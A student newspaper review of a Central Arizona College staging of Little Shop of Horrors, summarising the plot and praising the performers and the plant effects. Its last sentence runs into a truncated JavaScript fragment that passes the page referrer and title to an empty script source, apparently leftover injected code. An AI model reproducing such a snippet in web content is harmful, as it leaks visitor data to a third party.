Little Shop of Horrors Delights CAC Audience

Stacy Esparza, Cactus Contributer

The weekend of October 24th – October 26th was frightful for students and guests as the Central Arizona College (CAC) theatre department’s production of Little Shop of Horrors made its way to the Pence Center on the Signal Peak Campus. Under the direction of Professor John Owens and technical manager and designer Jerry Deall, the production was filled with fantastic acting, song, dance, lighting, special effects and crowd participation that made the performances that much more exciting. I was fortunate enough to attend three performances, including preview night and I can definitely say that these students brought charisma, excitement and the love of theatre to each and every performance.

The musical opens with a prologue that sets the scene. Set in the down-and-out section of Skid Row, in 1960s New York, we are introduced to Seymour, an orphan, portrayed by Heyward Zelaya. From the minute he steps on to the stage, Heyward is a delight. The audience is also introduced to Audrey, portrayed by Savannah Grottenthaler who, in my opinion, dazzles on stage. The two characters are employed at Mushnik’s Skid Row Florists owned by the very cranky Mr. Mushnik. One day while out and about, Seymour is given a mysterious plant, the smallest plant you’ve seen. Because of his fondness for Audrey, he decides to name the plant Audrey II.

Sadly, the plant is not thriving and one night while talking to the plant, Seymour pricks his finger, draws blood and by his surprise, Audrey II opens her pod. The song, “Grow for Me” begins and this is the first time we hear Heyward sing solo. I thought Heyward did an excellent job and brought a bit of himself to the role. He was very comedic as Seymour and vibrant on stage and after talking to him after the performances, I found him to be enthusiastic and wonderful to interview. As Audrey II continues to feed off Seymour’s blood, she begins to grow and soon becomes an attraction for the flower shop. This is also when the audience is treated to a bigger Audrey II, the 2nd of Audrey II’s that Jerry Deall and his design team has created for the production at CAC.

The audience soon realizes that Audrey’s boyfriend is abusive and while chatting with the local girls, reveals that she does dream of the ideal suburban life with Seymour. The song titled “Somewhere That’s Green” performed by Savannah was brilliant and by far, my favorite song of the evening. Savannah has a beautiful voice and along with conveying true emotions, I was instantly drawn in to Audrey’s sadness and her hope for a better future outside of Skid Row.

In the next scene the audience is introduced to Orin Scrivello, a crazy dentist and Aubrey’s abusive boyfriend. Styled after a 1950’s Leader of the Pack, Orin, portrayed by Sergio Noriega, was fantastic. His comedic timing and insatiable laugh all while pretending to be high on nitrous oxide was hysterical during his “Dentist” performance and totally had the crowd entertained.

The next scene reveals that the flower shop is now undergoing renovations and when Orin stumbles across the plant and Seymour, he convinces Seymour to take Audrey II and leave Skid Row. Mushnik, overhearing the conversation, manipulates Seymour into sticking around and convinces him that he will adopt Seymour and they can be partners in the business. Although their relationship has never been about love, Seymour, who is constantly searching for the feeling of love and acceptance, takes the offer.

The audience soon realizes that Seymour is having difficulty providing enough blood for Audrey II. In a surprising twist, it is also revealed that the new and 3rd version built by the design team, Audrey II, can now speak and is voiced by the director of the musical, Dr. John C. Owens. The audience is dazzled with Dr. Owens talent during the song “Feed Me (Get It)” where Audrey II tells Seymour to find more blood and in return can make all his dreams comes true. At first, Seymour refuses, but after witnessing Orin abuse Aubrey, the plant begins to manipulate Seymour into thinking that Orin deserves to die. Seymour decides to set up a late night appointment with Orin intending to kill him. After not being able to go through with the killing, Orin, who manipulates the conversation, proceeds to act as if he’s going to hurt Seymour. He first decides to put on a mask of nitrous oxide and after he begins to overdose when the device gets stuck, Seymour decides to not help Orin and Orin dies of asphyxiation. Seymour returns to the flower shop, feeds Orin’s body to Audrey II and Act I is over.

Act II begins with Audrey and Seymour singing about the shop’s success in “Call Me in the Morning.” Savannah and Heyward are amazing with the overlapping lyrics and their timing was incredible. I was out of breath just watching and listening to them sing. After Seymour shows Audrey his style change, which resembles Orin’s style, Audrey begins to feel guilty about being happy that Orin is missing. She reveals her true feelings to Seymour in the song “Suddenly Seymour” and they embrace. After witnessing the exchange, Mr. Mushnik confronts Seymour and after threatening to turn him in for killing Orin, Seymour pushes Mr. Mushnik into Audrey II and Aubrey II devours him.

Despite the now widespread success, Seymour begins to worry that Audrey II’s growth is getting out of hand and after being offered money for a television show, Seymour decides to leave Skid Row with Audrey and the money. After Seymour steps out for a moment for one last purchase from the butcher, Audrey returns to the shop. The plant convinces her to move closer and he tries to eat her. Seymour returns just in time to try to barely save her and he tells Audrey what he has done and that he was just trying to make her dreams come true. In the end, Audrey tells Seymour that her one gift to him would be for her to sacrifice her life so that Seymour can have the life he’s always wanted. That if he feeds her to the plant, they will always be together and in poetic fashion, she’ll be “somewhere that’s green.” Seymour sadly agrees and puts Audrey in the plant. This scene was brilliantly done and the chemistry between Savannah and Heyward was wonderful.

After being approached by a botanist wanting to sell saplings of Audrey II around the world, Seymour realizes that he must destroy the plant. In crazy fashion he begins to try to kill Audrey II and in the end, jumps into the amazing life-size plant and dies. The play ends with the botanist and his team collecting samples and the audience realizing there are millions of Audrey II’s being created around the world. The finale song of the evening “Don’t Feed the Plants” treats the audience with surprises on stage featuring the entire main cast connected to Audrey II dressed up like zombies along with many cast zombies walking through the audience, some taking the audience off guard. The whole ending is spotlighted with smoke and an amazing finale performance by all cast members and chorus. The cast then takes their curtain bows and are applauded with many cheers and smiles.s.src=’’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;